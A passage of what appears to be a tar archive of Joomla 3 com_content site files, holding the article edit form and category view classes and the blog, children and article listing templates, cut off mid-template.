				<?php echo $this->form->renderField('image_intro', 'images'); ?>
				<?php echo $this->form->renderField('image_intro_alt', 'images'); ?>
				<?php echo $this->form->renderField('image_intro_caption', 'images'); ?>
				<?php echo $this->form->renderField('float_intro', 'images'); ?>
				<?php echo $this->form->renderField('image_fulltext', 'images'); ?>
				<?php echo $this->form->renderField('image_fulltext_alt', 'images'); ?>
				<?php echo $this->form->renderField('image_fulltext_caption', 'images'); ?>
				<?php echo $this->form->renderField('float_fulltext', 'images'); ?>
				<?php echo $this->form->renderField('urla', 'urls'); ?>
				<?php echo $this->form->renderField('urlatext', 'urls'); ?>
				<div class="control-group">
					<div class="controls">
						<?php echo $this->form->getInput('targeta', 'urls'); ?>
					</div>
				</div>
				<?php echo $this->form->renderField('urlb', 'urls'); ?>
				<?php echo $this->form->renderField('urlbtext', 'urls'); ?>
				<div class="control-group">
					<div class="controls">
						<?php echo $this->form->getInput('targetb', 'urls'); ?>
					</div>
				</div>
				<?php echo $this->form->renderField('urlc', 'urls'); ?>
				<?php echo $this->form->renderField('urlctext', 'urls'); ?>
				<div class="control-group">
					<div class="controls">
						<?php echo $this->form->getInput('targetc', 'urls'); ?>
					</div>
				</div>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
			<?php endif; ?>

			<?php echo JLayoutHelper::render('joomla.edit.params', $this); ?>

			<?php echo JHtml::_('bootstrap.addTab', $this->tab_name, 'publishing', JText::_('COM_CONTENT_PUBLISHING')); ?>
				<?php echo $this->form->renderField('catid'); ?>
				<?php echo $this->form->renderField('tags'); ?>
				<?php echo $this->form->renderField('note'); ?>
				<?php if ($params->get('save_history', 0)) : ?>
					<?php echo $this->form->renderField('version_note'); ?>
				<?php endif; ?>
				<?php if ($params->get('show_publishing_options', 1) == 1) : ?>
					<?php echo $this->form->renderField('created_by_alias'); ?>
				<?php endif; ?>
				<?php if ($this->item->params->get('access-change')) : ?>
					<?php echo $this->form->renderField('state'); ?>
					<?php echo $this->form->renderField('featured'); ?>
					<?php if ($params->get('show_publishing_options', 1) == 1) : ?>
						<?php echo $this->form->renderField('publish_up'); ?>
						<?php echo $this->form->renderField('publish_down'); ?>
					<?php endif; ?>
				<?php endif; ?>
				<?php echo $this->form->renderField('access'); ?>
				<?php if (is_null($this->item->id)) : ?>
					<div class="control-group">
						<div class="control-label">
						</div>
						<div class="controls">
							<?php echo JText::_('COM_CONTENT_ORDERING'); ?>
						</div>
					</div>
				<?php endif; ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>

			<?php echo JHtml::_('bootstrap.addTab', $this->tab_name, 'language', JText::_('JFIELD_LANGUAGE_LABEL')); ?>
				<?php echo $this->form->renderField('language'); ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>

			<?php if ($params->get('show_publishing_options', 1) == 1) : ?>
				<?php echo JHtml::_('bootstrap.addTab', $this->tab_name, 'metadata', JText::_('COM_CONTENT_METADATA')); ?>
					<?php echo $this->form->renderField('metadesc'); ?>
					<?php echo $this->form->renderField('metakey'); ?>
				<?php echo JHtml::_('bootstrap.endTab'); ?>
			<?php endif; ?>

			<?php echo JHtml::_('bootstrap.endTabSet'); ?>

			<input type="hidden" name="task" value="" />
			<input type="hidden" name="return" value="<?php echo $this->return_page; ?>" />
			<?php echo JHtml::_('form.token'); ?>
		</fieldset>
		<div class="btn-toolbar">
			<div class="btn-group">
				<button type="button" class="btn btn-primary" onclick="Joomla.submitbutton('article.save')">
					<span class="icon-ok"></span><?php echo JText::_('JSAVE') ?>
				</button>
			</div>
			<div class="btn-group">
				<button type="button" class="btn" onclick="Joomla.submitbutton('article.cancel')">
					<span class="icon-cancel"></span><?php echo JText::_('JCANCEL') ?>
				</button>
			</div>
			<?php if ($params->get('save_history', 0) && $this->item->id) : ?>
			<div class="btn-group">
				<?php echo $this->form->getInput('contenthistory'); ?>
			</div>
			<?php endif; ?>
		</div>
	</form>
</div>
com_content/views/form/view.html.php000060400000011076152453734450013617 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * HTML Article View class for the Content component
 *
 * @since  1.5
 */
class ContentViewForm extends JViewLegacy
{
	protected $form;

	protected $item;

	protected $return_page;

	protected $state;

	/**
	 * Should we show a captcha form for the submission of the article?
	 *
	 * @var   bool
	 * @since 3.7.0
	 */
	protected $captchaEnabled = false;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		$user = JFactory::getUser();
		$app  = JFactory::getApplication();

		// Get model data.
		$this->state       = $this->get('State');
		$this->item        = $this->get('Item');
		$this->form        = $this->get('Form');
		$this->return_page = $this->get('ReturnPage');

		if (empty($this->item->id))
		{
			$catid = $this->state->params->get('catid');

			if ($this->state->params->get('enable_category') == 1 && $catid)
			{
				$authorised = $user->authorise('core.create', 'com_content.category.' . $catid);
			}
			else
			{
				$authorised = $user->authorise('core.create', 'com_content') || count($user->getAuthorisedCategories('com_content', 'core.create'));
			}
		}
		else
		{
			$authorised = $this->item->params->get('access-edit');
		}

		if ($authorised !== true)
		{
			$app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'error');
			$app->setHeader('status', 403, true);

			return false;
		}

		$this->item->tags = new JHelperTags;

		if (!empty($this->item->id))
		{
			$this->item->tags->getItemTags('com_content.article', $this->item->id);

			$this->item->images = json_decode($this->item->images);
			$this->item->urls = json_decode($this->item->urls);

			$tmp = new stdClass;
			$tmp->images = $this->item->images;
			$tmp->urls = $this->item->urls;
			$this->form->bind($tmp);
		}

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseWarning(500, implode("\n", $errors));

			return false;
		}

		// Create a shortcut to the parameters.
		$params = &$this->state->params;

		// Escape strings for HTML output
		$this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx', ''));

		$this->params = $params;

		// Override global params with article specific params
		$this->params->merge($this->item->params);
		$this->user   = $user;

		// Propose current language as default when creating new article
		if (empty($this->item->id) && JLanguageMultilang::isEnabled())
		{
			$lang = JFactory::getLanguage()->getTag();
			$this->form->setFieldAttribute('language', 'default', $lang);
		}

		$captchaSet = $params->get('captcha', JFactory::getApplication()->get('captcha', '0'));

		foreach (JPluginHelper::getPlugin('captcha') as $plugin)
		{
			if ($captchaSet === $plugin->name)
			{
				$this->captchaEnabled = true;
				break;
			}
		}

		$this->_prepareDocument();
		parent::display($tpl);
	}

	/**
	 * Prepares the document
	 *
	 * @return  void
	 */
	protected function _prepareDocument()
	{
		$app   = JFactory::getApplication();
		$menus = $app->getMenu();
		$title = null;

		// Because the application sets a default page title,
		// we need to get it from the menu item itself
		$menu = $menus->getActive();

		if ($menu)
		{
			$this->params->def('page_heading', $this->params->get('page_title', $menu->title));
		}
		else
		{
			$this->params->def('page_heading', JText::_('COM_CONTENT_FORM_EDIT_ARTICLE'));
		}

		$title = $this->params->def('page_title', JText::_('COM_CONTENT_FORM_EDIT_ARTICLE'));

		if ($app->get('sitename_pagetitles', 0) == 1)
		{
			$title = JText::sprintf('JPAGETITLE', $app->get('sitename'), $title);
		}
		elseif ($app->get('sitename_pagetitles', 0) == 2)
		{
			$title = JText::sprintf('JPAGETITLE', $title, $app->get('sitename'));
		}

		$this->document->setTitle($title);

		$pathway = $app->getPathWay();
		$pathway->addItem($title, '');

		if ($this->params->get('menu-meta_description'))
		{
			$this->document->setDescription($this->params->get('menu-meta_description'));
		}

		if ($this->params->get('menu-meta_keywords'))
		{
			$this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords'));
		}

		if ($this->params->get('robots'))
		{
			$this->document->setMetadata('robots', $this->params->get('robots'));
		}
	}
}
com_content/views/category/view.html.php000060400000017367152453734450014502 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\Registry\Registry;

/**
 * HTML View class for the Content component
 *
 * @since  1.5
 */
class ContentViewCategory extends JViewCategory
{
	/**
	 * @var    array  Array of leading items for blog display
	 * @since  3.2
	 */
	protected $lead_items = array();

	/**
	 * @var    array  Array of intro (multicolumn display) items for blog display
	 * @since  3.2
	 */
	protected $intro_items = array();

	/**
	 * @var    array  Array of links in blog display
	 * @since  3.2
	 */
	protected $link_items = array();

	/**
	 * @var         integer  Number of columns in a multi column display
	 * @since       3.2
	 * @deprecated  4.0
	 */
	protected $columns = 1;

	/**
	 * @var    string  The name of the extension for the category
	 * @since  3.2
	 */
	protected $extension = 'com_content';

	/**
	 * @var    string  Default title to use for page title
	 * @since  3.2
	 */
	protected $defaultPageTitle = 'JGLOBAL_ARTICLES';

	/**
	 * @var    string  The name of the view to link individual items to
	 * @since  3.2
	 */
	protected $viewName = 'article';

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		parent::commonCategoryDisplay();

		// Flag indicates to not add limitstart=0 to URL
		$this->pagination->hideEmptyLimitstart = true;

		// Prepare the data
		// Get the metrics for the structural page layout.
		$params     = $this->params;
		$numLeading = $params->def('num_leading_articles', 1);
		$numIntro   = $params->def('num_intro_articles', 4);
		$numLinks   = $params->def('num_links', 4);
		$this->vote = PluginHelper::isEnabled('content', 'vote');

		PluginHelper::importPlugin('content');
		$dispatcher = JEventDispatcher::getInstance();

		// Compute the article slugs and prepare introtext (runs content plugins).
		foreach ($this->items as $item)
		{
			$item->slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id;

			$item->parent_slug = $item->parent_alias ? ($item->parent_id . ':' . $item->parent_alias) : $item->parent_id;

			// No link for ROOT category
			if ($item->parent_alias === 'root')
			{
				$item->parent_slug = null;
			}

			$item->catslug = $item->category_alias ? ($item->catid . ':' . $item->category_alias) : $item->catid;
			$item->event   = new stdClass;

			// Old plugins: Ensure that text property is available
			if (!isset($item->text))
			{
				$item->text = $item->introtext;
			}

			$dispatcher->trigger('onContentPrepare', array ('com_content.category', &$item, &$item->params, 0));

			// Old plugins: Use processed text as introtext
			$item->introtext = $item->text;

			$results = $dispatcher->trigger('onContentAfterTitle', array('com_content.category', &$item, &$item->params, 0));
			$item->event->afterDisplayTitle = trim(implode("\n", $results));

			$results = $dispatcher->trigger('onContentBeforeDisplay', array('com_content.category', &$item, &$item->params, 0));
			$item->event->beforeDisplayContent = trim(implode("\n", $results));

			$results = $dispatcher->trigger('onContentAfterDisplay', array('com_content.category', &$item, &$item->params, 0));
			$item->event->afterDisplayContent = trim(implode("\n", $results));
		}

		// For blog layouts, preprocess the breakdown of leading, intro and linked articles.
		// This makes it much easier for the designer to just interrogate the arrays.
		if ($params->get('layout_type') === 'blog' || $this->getLayout() === 'blog')
		{
			foreach ($this->items as $i => $item)
			{
				if ($i < $numLeading)
				{
					$this->lead_items[] = $item;
				}

				elseif ($i >= $numLeading && $i < $numLeading + $numIntro)
				{
					$this->intro_items[] = $item;
				}

				elseif ($i < $numLeading + $numIntro + $numLinks)
				{
					$this->link_items[] = $item;
				}
				else
				{
					continue;
				}
			}

			$this->columns = max(1, $params->def('num_columns', 1));

			$order = $params->def('multi_column_order', 1);

			if ($order == 0 && $this->columns > 1)
			{
				// Call order down helper
				$this->intro_items = ContentHelperQuery::orderDownColumns($this->intro_items, $this->columns);
			}
		}

		// Because the application sets a default page title,
		// we need to get it from the menu item itself
		$app    = Factory::getApplication();
		$active = $app->getMenu()->getActive();

		if ($active
			&& $active->component == 'com_content'
			&& isset($active->query['view'], $active->query['id'])
			&& $active->query['view'] == 'category'
			&& $active->query['id'] == $this->category->id)
		{
			$this->params->def('page_heading', $this->params->get('page_title', $active->title));
			$title = $this->params->get('page_title', $active->title);
		}
		else
		{
			$this->params->def('page_heading', $this->category->title);
			$title = $this->category->title;
			$this->params->set('page_title', $title);
		}

		// Check for empty title and add site name if param is set
		if (empty($title))
		{
			$title = $app->get('sitename');
		}
		elseif ($app->get('sitename_pagetitles', 0) == 1)
		{
			$title = JText::sprintf('JPAGETITLE', $app->get('sitename'), $title);
		}
		elseif ($app->get('sitename_pagetitles', 0) == 2)
		{
			$title = JText::sprintf('JPAGETITLE', $title, $app->get('sitename'));
		}

		if (empty($title))
		{
			$title = $this->category->title;
		}

		$this->document->setTitle($title);

		if ($this->category->metadesc)
		{
			$this->document->setDescription($this->category->metadesc);
		}
		elseif ($this->params->get('menu-meta_description'))
		{
			$this->document->setDescription($this->params->get('menu-meta_description'));
		}

		if ($this->category->metakey)
		{
			$this->document->setMetadata('keywords', $this->category->metakey);
		}
		elseif ($this->params->get('menu-meta_keywords'))
		{
			$this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords'));
		}

		if ($this->params->get('robots'))
		{
			$this->document->setMetadata('robots', $this->params->get('robots'));
		}

		if (!is_object($this->category->metadata))
		{
			$this->category->metadata = new Registry($this->category->metadata);
		}

		if (($app->get('MetaAuthor') == '1') && $this->category->get('author', ''))
		{
			$this->document->setMetaData('author', $this->category->get('author', ''));
		}

		$mdata = $this->category->metadata->toArray();

		foreach ($mdata as $k => $v)
		{
			if ($v)
			{
				$this->document->setMetadata($k, $v);
			}
		}

		return parent::display($tpl);
	}

	/**
	 * Prepares the document
	 *
	 * @return  void
	 */
	protected function prepareDocument()
	{
		parent::prepareDocument();
		$menu = $this->menu;
		$id = (int) @$menu->query['id'];

		if ($menu && (!isset($menu->query['option']) || $menu->query['option'] !== 'com_content' || $menu->query['view'] === 'article'
			|| $id != $this->category->id))
		{
			$path = array(array('title' => $this->category->title, 'link' => ''));
			$category = $this->category->getParent();

			while ($category !== null && $category->id !== 'root'
				&& (!isset($menu->query['option']) || $menu->query['option'] !== 'com_content' || $menu->query['view'] === 'article' || $id != $category->id))
			{
				$path[] = array('title' => $category->title, 'link' => ContentHelperRoute::getCategoryRoute($category->id));
				$category = $category->getParent();
			}

			$path = array_reverse($path);

			foreach ($path as $item)
			{
				$this->pathway->addItem($item['title'], $item['link']);
			}
		}

		parent::addFeed();
	}
}
com_content/views/category/view.feed.php000060400000004264152453734450014431 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * HTML View class for the Content component
 *
 * @since  1.5
 */
class ContentViewCategory extends JViewCategoryfeed
{
	/**
	 * @var    string  The name of the view to link individual items to
	 * @since  3.2
	 */
	protected $viewName = 'article';

	/**
	 * Method to reconcile non standard names from components to usage in this class.
	 * Typically overridden in the component feed view class.
	 *
	 * @param   object  $item  The item for a feed, an element of the $items array.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	protected function reconcileNames($item)
	{
		// Get description, intro_image, author and date
		$app               = JFactory::getApplication();
		$params            = $app->getParams();
		$item->description = '';
		$obj = json_decode($item->images);
		$introImage = isset($obj->{'image_intro'}) ? $obj->{'image_intro'} : '';

		if (isset($introImage) && ($introImage != ''))
		{
			$image = preg_match('/http/', $introImage) ? $introImage : JURI::root() . $introImage;
			$item->description = '<p><img src="' . $image . '" /></p>';
		}

		$item->description .= ($params->get('feed_summary', 0) ? $item->introtext . $item->fulltext : $item->introtext);

		// Add readmore link to description if introtext is shown, show_readmore is true and fulltext exists
		if (!$item->params->get('feed_summary', 0) && $item->params->get('feed_show_readmore', 0) && $item->fulltext)
		{
			// Compute the article slug
			$item->slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id;

			// URL link to article
			$link = JRoute::_(
				ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language),
				true,
				$app->get('force_ssl') == 2 ? \JRoute::TLS_FORCE : \JRoute::TLS_IGNORE,
				true
			);

			$item->description .= '<p class="feed-readmore"><a target="_blank" href="' . $link . '">' . JText::_('COM_CONTENT_FEED_READMORE') . '</a></p>';
		}

		$item->author = $item->created_by_alias ?: $item->author;
	}
}
com_content/views/category/tmpl/blog_item.php000060400000010077152453734450015471 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Create a shortcut for params.
$params = $this->item->params;
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
$canEdit = $this->item->params->get('access-edit');
$info    = $params->get('info_block_position', 0);

// Check if associations are implemented. If they are, define the parameter.
$assocParam = (JLanguageAssociations::isEnabled() && $params->get('show_associations'));

$currentDate   = JFactory::getDate()->format('Y-m-d H:i:s');
$isUnpublished = ($this->item->state == 0 || $this->item->publish_up > $currentDate)
	|| ($this->item->publish_down < $currentDate && $this->item->publish_down !== JFactory::getDbo()->getNullDate());

?>
<?php if ($isUnpublished) : ?>
	<div class="system-unpublished">
<?php endif; ?>

<?php echo JLayoutHelper::render('joomla.content.blog_style_default_item_title', $this->item); ?>

<?php if ($canEdit || $params->get('show_print_icon') || $params->get('show_email_icon')) : ?>
	<?php echo JLayoutHelper::render('joomla.content.icons', array('params' => $params, 'item' => $this->item, 'print' => false)); ?>
<?php endif; ?>

<?php // Todo Not that elegant would be nice to group the params ?>
<?php $useDefList = ($params->get('show_modify_date') || $params->get('show_publish_date') || $params->get('show_create_date')
	|| $params->get('show_hits') || $params->get('show_category') || $params->get('show_parent_category') || $params->get('show_author') || $assocParam); ?>

<?php if ($useDefList && ($info == 0 || $info == 2)) : ?>
	<?php // Todo: for Joomla4 joomla.content.info_block.block can be changed to joomla.content.info_block ?>
	<?php echo JLayoutHelper::render('joomla.content.info_block.block', array('item' => $this->item, 'params' => $params, 'position' => 'above')); ?>
<?php endif; ?>
<?php if ($info == 0 && $params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
	<?php echo JLayoutHelper::render('joomla.content.tags', $this->item->tags->itemTags); ?>
<?php endif; ?>

<?php echo JLayoutHelper::render('joomla.content.intro_image', $this->item); ?>

<?php if (!$params->get('show_intro')) : ?>
	<?php // Content is generated by content plugin event "onContentAfterTitle" ?>
	<?php echo $this->item->event->afterDisplayTitle; ?>
<?php endif; ?>

<?php // Content is generated by content plugin event "onContentBeforeDisplay" ?>
<?php echo $this->item->event->beforeDisplayContent; ?>

<?php echo $this->item->introtext; ?>

<?php if ($info == 1 || $info == 2) : ?>
	<?php if ($useDefList) : ?>
		<?php // Todo: for Joomla4 joomla.content.info_block.block can be changed to joomla.content.info_block ?>
		<?php echo JLayoutHelper::render('joomla.content.info_block.block', array('item' => $this->item, 'params' => $params, 'position' => 'below')); ?>
	<?php endif; ?>
	<?php if ($params->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
		<?php echo JLayoutHelper::render('joomla.content.tags', $this->item->tags->itemTags); ?>
	<?php endif; ?>
<?php endif; ?>

<?php if ($params->get('show_readmore') && $this->item->readmore) :
	if ($params->get('access-view')) :
		$link = JRoute::_(ContentHelperRoute::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language));
	else :
		$menu = JFactory::getApplication()->getMenu();
		$active = $menu->getActive();
		$itemId = $active->id;
		$link = new JUri(JRoute::_('index.php?option=com_users&view=login&Itemid=' . $itemId, false));
		$link->setVar('return', base64_encode(ContentHelperRoute::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language)));
	endif; ?>

	<?php echo JLayoutHelper::render('joomla.content.readmore', array('item' => $this->item, 'params' => $params, 'link' => $link)); ?>

<?php endif; ?>

<?php if ($isUnpublished) : ?>
	</div>
<?php endif; ?>

<?php // Content is generated by content plugin event "onContentAfterDisplay" ?>
<?php echo $this->item->event->afterDisplayContent; ?>
com_content/views/category/tmpl/blog_children.php000060400000006731152453734450016325 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');

$class  = ' class="first"';
$lang   = JFactory::getLanguage();
$user   = JFactory::getUser();
$groups = $user->getAuthorisedViewLevels();

if ($this->maxLevel != 0 && count($this->children[$this->category->id]) > 0) : ?>

	<?php foreach ($this->children[$this->category->id] as $id => $child) : ?>
		<?php // Check whether category access level allows access to subcategories. ?>
		<?php if (in_array($child->access, $groups)) : ?>
			<?php if ($this->params->get('show_empty_categories') || $child->numitems || count($child->getChildren())) :
				if (!isset($this->children[$this->category->id][$id + 1])) :
					$class = ' class="last"';
				endif;
			?>
			<div<?php echo $class; ?>>
				<?php $class = ''; ?>
				<?php if ($lang->isRtl()) : ?>
				<h3 class="page-header item-title">
					<?php if ( $this->params->get('show_cat_num_articles', 1)) : ?>
						<span class="badge badge-info tip hasTooltip" title="<?php echo JHtml::_('tooltipText', 'COM_CONTENT_NUM_ITEMS_TIP'); ?>">
							<?php echo $child->getNumItems(true); ?>
						</span>
					<?php endif; ?>
					<a href="<?php echo JRoute::_(ContentHelperRoute::getCategoryRoute($child->id)); ?>">
					<?php echo $this->escape($child->title); ?></a>

					<?php if ($this->maxLevel > 1 && count($child->getChildren()) > 0) : ?>
						<a href="#category-<?php echo $child->id; ?>" data-toggle="collapse" class="btn btn-mini pull-right" aria-label="<?php echo JText::_('JGLOBAL_EXPAND_CATEGORIES'); ?>"><span class="icon-plus" aria-hidden="true"></span></a>
					<?php endif; ?>
				</h3>
				<?php else : ?>
				<h3 class="page-header item-title"><a href="<?php echo JRoute::_(ContentHelperRoute::getCategoryRoute($child->id)); ?>">
					<?php echo $this->escape($child->title); ?></a>
					<?php if ( $this->params->get('show_cat_num_articles', 1)) : ?>
						<span class="badge badge-info tip hasTooltip" title="<?php echo JHtml::_('tooltipText', 'COM_CONTENT_NUM_ITEMS_TIP'); ?>">
							<?php echo JText::_('COM_CONTENT_NUM_ITEMS'); ?>&nbsp;
							<?php echo $child->getNumItems(true); ?>
						</span>
					<?php endif; ?>

					<?php if ($this->maxLevel > 1 && count($child->getChildren()) > 0) : ?>
						<a href="#category-<?php echo $child->id; ?>" data-toggle="collapse" class="btn btn-mini pull-right" aria-label="<?php echo JText::_('JGLOBAL_EXPAND_CATEGORIES'); ?>"><span class="icon-plus" aria-hidden="true"></span></a>
					<?php endif; ?>
				</h3>
				<?php endif; ?>

				<?php if ($this->params->get('show_subcat_desc') == 1) : ?>
					<?php if ($child->description) : ?>
						<div class="category-desc">
							<?php echo JHtml::_('content.prepare', $child->description, '', 'com_content.category'); ?>
						</div>
					<?php endif; ?>
				<?php endif; ?>

				<?php if ($this->maxLevel > 1 && count($child->getChildren()) > 0) : ?>
					<div class="collapse fade" id="category-<?php echo $child->id; ?>">
						<?php
						$this->children[$child->id] = $child->getChildren();
						$this->category = $child;
						$this->maxLevel--;
						echo $this->loadTemplate('children');
						$this->category = $child->getParent();
						$this->maxLevel++;
						?>
					</div>
				<?php endif; ?>
			</div>
			<?php endif; ?>
		<?php endif; ?>
	<?php endforeach; ?>

<?php endif;
com_content/views/category/tmpl/default_children.php000060400000006635152453734450017031 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');

$class  = ' class="first"';
$lang   = JFactory::getLanguage();
$user   = JFactory::getUser();
$groups = $user->getAuthorisedViewLevels();
?>

<?php if (count($this->children[$this->category->id]) > 0) : ?>

	<?php foreach ($this->children[$this->category->id] as $id => $child) : ?>
		<?php // Check whether category access level allows access to subcategories. ?>
		<?php if (in_array($child->access, $groups)) : ?>
			<?php
			if ($this->params->get('show_empty_categories') || $child->getNumItems(true) || count($child->getChildren())) :
				if (!isset($this->children[$this->category->id][$id + 1])) :
					$class = ' class="last"';
				endif;
			?>

			<div<?php echo $class; ?>>
				<?php $class = ''; ?>
				<?php if ($lang->isRtl()) : ?>
				<h3 class="page-header item-title">
					<?php if ( $this->params->get('show_cat_num_articles', 1)) : ?>
						<span class="badge badge-info tip hasTooltip" title="<?php echo JHtml::_('tooltipText', 'COM_CONTENT_NUM_ITEMS_TIP'); ?>">
							<?php echo $child->getNumItems(true); ?>
						</span>
					<?php endif; ?>
					<a href="<?php echo JRoute::_(ContentHelperRoute::getCategoryRoute($child->id)); ?>">
					<?php echo $this->escape($child->title); ?></a>

					<?php if (count($child->getChildren()) > 0 && $this->maxLevel > 1) : ?>
						<a href="#category-<?php echo $child->id; ?>" data-toggle="collapse" class="btn btn-mini pull-right" aria-label="<?php echo JText::_('JGLOBAL_EXPAND_CATEGORIES'); ?>"><span class="icon-plus" aria-hidden="true"></span></a>
					<?php endif; ?>
				</h3>
				<?php else : ?>
				<h3 class="page-header item-title"><a href="<?php echo JRoute::_(ContentHelperRoute::getCategoryRoute($child->id)); ?>">
					<?php echo $this->escape($child->title); ?></a>
					<?php if ( $this->params->get('show_cat_num_articles', 1)) : ?>
						<span class="badge badge-info tip hasTooltip" title="<?php echo JHtml::_('tooltipText', 'COM_CONTENT_NUM_ITEMS_TIP'); ?>">
							<?php echo $child->getNumItems(true); ?>
						</span>
					<?php endif; ?>

					<?php if (count($child->getChildren()) > 0 && $this->maxLevel > 1) : ?>
						<a href="#category-<?php echo $child->id; ?>" data-toggle="collapse" class="btn btn-mini pull-right" aria-label="<?php echo JText::_('JGLOBAL_EXPAND_CATEGORIES'); ?>"><span class="icon-plus" aria-hidden="true"></span></a>
					<?php endif; ?>
				</h3>
				<?php endif; ?>

				<?php if ($this->params->get('show_subcat_desc') == 1) : ?>
					<?php if ($child->description) : ?>
						<div class="category-desc">
							<?php echo JHtml::_('content.prepare', $child->description, '', 'com_content.category'); ?>
						</div>
					<?php endif; ?>
				<?php endif; ?>

				<?php if (count($child->getChildren()) > 0 && $this->maxLevel > 1) : ?>
					<div class="collapse fade" id="category-<?php echo $child->id; ?>">
						<?php
							$this->children[$child->id] = $child->getChildren();
						$this->category = $child;
						$this->maxLevel--;
						echo $this->loadTemplate('children');
						$this->category = $child->getParent();
						$this->maxLevel++;
						?>
					</div>
				<?php endif; ?>
			</div>
			<?php endif; ?>
		<?php endif; ?>
	<?php endforeach; ?>

<?php endif; ?>
com_content/views/category/tmpl/default_articles.php000060400000032626152453734450017046 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_content
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Language\Multilanguage;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

// Create some shortcuts.
$n          = count($this->items);
$listOrder  = $this->escape($this->state->get('list.ordering'));
$listDirn   = $this->escape($this->state->get('list.direction'));
$langFilter = false;

// Tags filtering based on language filter
if (($this->params->get('filter_field') === 'tag') && (Multilanguage::isEnabled()))
{
	$tagfilter = ComponentHelper::getParams('com_tags')->get('tag_list_language_filter');

	switch ($tagfilter)
	{
		case 'current_language' :
			$langFilter = JFactory::getApplication()->getLanguage()->getTag();
			break;

		case 'all' :
			$langFilter = false;
			break;

		default :
			$langFilter = $tagfilter;
	}
}

// Check for at least one editable article
$isEditable = false;

if (!empty($this->items))
{
	foreach ($this->items as $article)
	{
		if ($article->params->get('access-edit'))
		{
			$isEditable = true;
			break;
		}
	}
}

// For B/C we also add the css classes inline. This will be removed in 4.0.
JFactory::getDocument()->addStyleDeclaration('
.hide { display: none; }
.table-noheader { border-collapse: collapse; }
.table-noheader thead { display: none; }
');

$tableClass = $this->params->get('show_headings') != 1 ? ' table-noheader' : '';

$nullDate    = JFactory::getDbo()->getNullDate();
$currentDate = JFactory::getDate()->format('Y-m-d H:i:s');

?>
<form action="<?php echo htmlspecialchars(JUri::getInstance()->toString()); ?>" method="post" name="adminForm" id="adminForm" class="form-inline">
<?php if ($this->params->get('filter_field') !== 'hide' || $this->params->get('show_pagination_limit')) : ?>
	<fieldset class="filters btn-toolbar clearfix">
		<legend class="hide"><?php echo JText::_('COM_CONTENT_FORM_FILTER_LEGEND'); ?></legend>
		<?php if ($this->params->get('filter_field') !== 'hide') : ?>
			<div class="btn-group">
				<?php if ($this->params->get('filter_field') === 'tag') : ?>
					<select name="filter_tag" id="filter_tag" onchange="document.adminForm.submit();">
						<option value=""><?php echo JText::_('JOPTION_SELECT_TAG'); ?></option>
						<?php echo JHtml::_('select.options', JHtml::_('tag.options', array('filter.published' => array(1), 'filter.language' => $langFilter), true), 'value', 'text', $this->state->get('filter.tag')); ?>
					</select>
				<?php elseif ($this->params->get('filter_field') === 'month') : ?>
					<select name="filter-search" id="filter-search" onchange="document.adminForm.submit();">
						<option value=""><?php echo JText::_('JOPTION_SELECT_MONTH'); ?></option>
						<?php echo JHtml::_('select.options', JHtml::_('content.months', $this->state), 'value', 'text', $this->state->get('list.filter')); ?>
					</select>
				<?php else : ?>
					<label class="filter-search-lbl element-invisible" for="filter-search">
						<?php echo JText::_('COM_CONTENT_' . $this->params->get('filter_field') . '_FILTER_LABEL') . '&#160;'; ?>
					</label>
